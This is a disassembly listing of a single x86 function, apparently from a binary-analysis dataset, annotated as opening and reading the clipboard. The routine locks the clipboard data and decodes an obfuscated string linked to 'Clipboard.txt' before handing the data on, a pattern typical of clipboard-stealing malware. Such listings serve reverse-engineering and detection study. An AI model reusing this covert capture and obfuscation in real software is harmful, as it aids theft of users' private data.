Function at 0x431e60
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x68
mov eax, dword [ebp + 8]
mov byte [esp + 0xf], 0
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
sub esp, 4
cmp eax, 0
je 0x43214c
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 8
mov dword [esp + 0x5c], eax
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
sub esp, 4
mov dword [esp + 0x18], eax
cmp dword [esp + 0x18], 0
setne al
test al, 1
jne 0x431ed2
jmp 0x43213e
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call fcn.00408d20
mov dword [esp + 0x20], eax
cmp dword [esp + 0x20], 0
setne al
test al, 1
jne 0x431f07
jmp 0x43212a
mov eax, dword [ebp + 8]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x50], eax
mov al, byte [esp + 0x14]
mov byte [esp + 0x1c], al
lea eax, str.Clipboard.txt
mov dword [esp + 0x10], eax
lea eax, [esp + 0x30]
mov dword [esp + 0x60], eax
mov byte [esp + 0x30], 0xa3
mov byte [esp + 0x31], 0x85
mov eax, dword [esp + 0x10]
movzx ecx, byte [eax + 2]
add ecx, 0xc9
xor ecx, 0xb1
mov byte [esp + 0x32], cl
movzx eax, byte [eax + 3]
add eax, 0xc9
xor eax, 0xb2
mov byte [esp + 0x33], al
mov eax, dword [esp + 0x10]
movzx ecx, byte [eax + 4]
add ecx, 0xc9
xor ecx, 0xb3
mov byte [esp + 0x34], cl
movzx eax, byte [eax + 5]
add eax, 0xc9
xor eax, 0xb4
mov byte [esp + 0x35], al
mov eax, dword [esp + 0x10]
movzx ecx, byte [eax + 6]
add ecx, 0xc9
xor ecx, 0xb5
mov byte [esp + 0x36], cl
movzx eax, byte [eax + 7]
add eax, 0xc9
xor eax, 0xb6
mov byte [esp + 0x37], al
mov eax, dword [esp + 0x10]
movzx ecx, byte [eax + 8]
add ecx, 0xc9
xor ecx, 0xb7
mov byte [esp + 0x38], cl
movzx eax, byte [eax + 9]
add eax, 0xc9
xor eax, 0xb8
mov byte [esp + 0x39], al
mov eax, dword [esp + 0x10]
movzx ecx, byte [eax + 0xa]
add ecx, 0xc9
xor ecx, 0xb9
mov byte [esp + 0x3a], cl
movzx eax, byte [eax + 0xb]
add eax, 0xc9
xor eax, 0xba
mov byte [esp + 0x3b], al
mov eax, dword [esp + 0x10]
movzx ecx, byte [eax + 0xc]
add ecx, 0xc9
xor ecx, 0xbb
mov byte [esp + 0x3c], cl
movzx eax, byte [eax + 0xd]
add eax, 0xc9
xor eax, 0xbc
mov byte [esp + 0x3d], al
mov eax, 0xe
mov byte [esp + eax + 0x30], 0
add eax, 1
cmp eax, 0x14
jne 0x432043
lea eax, [esp + 0x30]
mov dword [esp + 0x2c], eax
xor eax, eax
mov dword [esp + 0x28], eax
cmp eax, 0x14
jae 0x4320f3
call fcn.00409540
call fcn.00409540
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x48], eax
mov esi, dword [esp + 0x28]
movzx ebx, byte [eax + esi]
mov edx, esi
add edx, 0xaf
and edx, ebx
mov edi, 0x1008ee50
sub edi, esi
mov ecx, esi
add ecx, 0xeff711af
or ecx, ebx
not ebx
and edi, ebx
not ecx
or edi, ecx
mov ecx, edi
and ecx, 0xfffffffd
mov eax, edi
and eax, 2
mov ebx, eax
xor ebx, 2
imul ebx, ecx
mov ecx, edi
or ecx, 2
imul ecx, eax
add ecx, ebx
xor ecx, 0xfffffffe
add edi, ecx
mov eax, 0xfffffffe
sub eax, edi
or edx, eax
mov eax, edx
add eax, eax
not eax
add edx, eax
mov dword [esp + 0x58], edx
mov eax, dword [esp + 0x58]
add al, 0x37
mov ecx, dword [esp + 0x48]
mov byte [ecx + esi], al
mov eax, dword [esp + 0x28]
add eax, 1
jmp 0x43205a
mov eax, dword [esp + 0x2c]
jmp 0x4320f9
jmp 0x4320fb
mov ecx, dword [esp + 0x4c]
mov dword [esp], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 8], eax
call fcn.00409740
sub esp, 0xc
jmp 0x43211c
and al, 1
mov byte [esp + 0xf], al
jmp 0x432124
jmp 0x432126
jmp 0x432128
jmp 0x43212a
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
jmp 0x43213c
jmp 0x43213e
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x432146
jmp 0x432148
jmp 0x43214a
jmp 0x43214c
mov al, byte [esp + 0xf]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret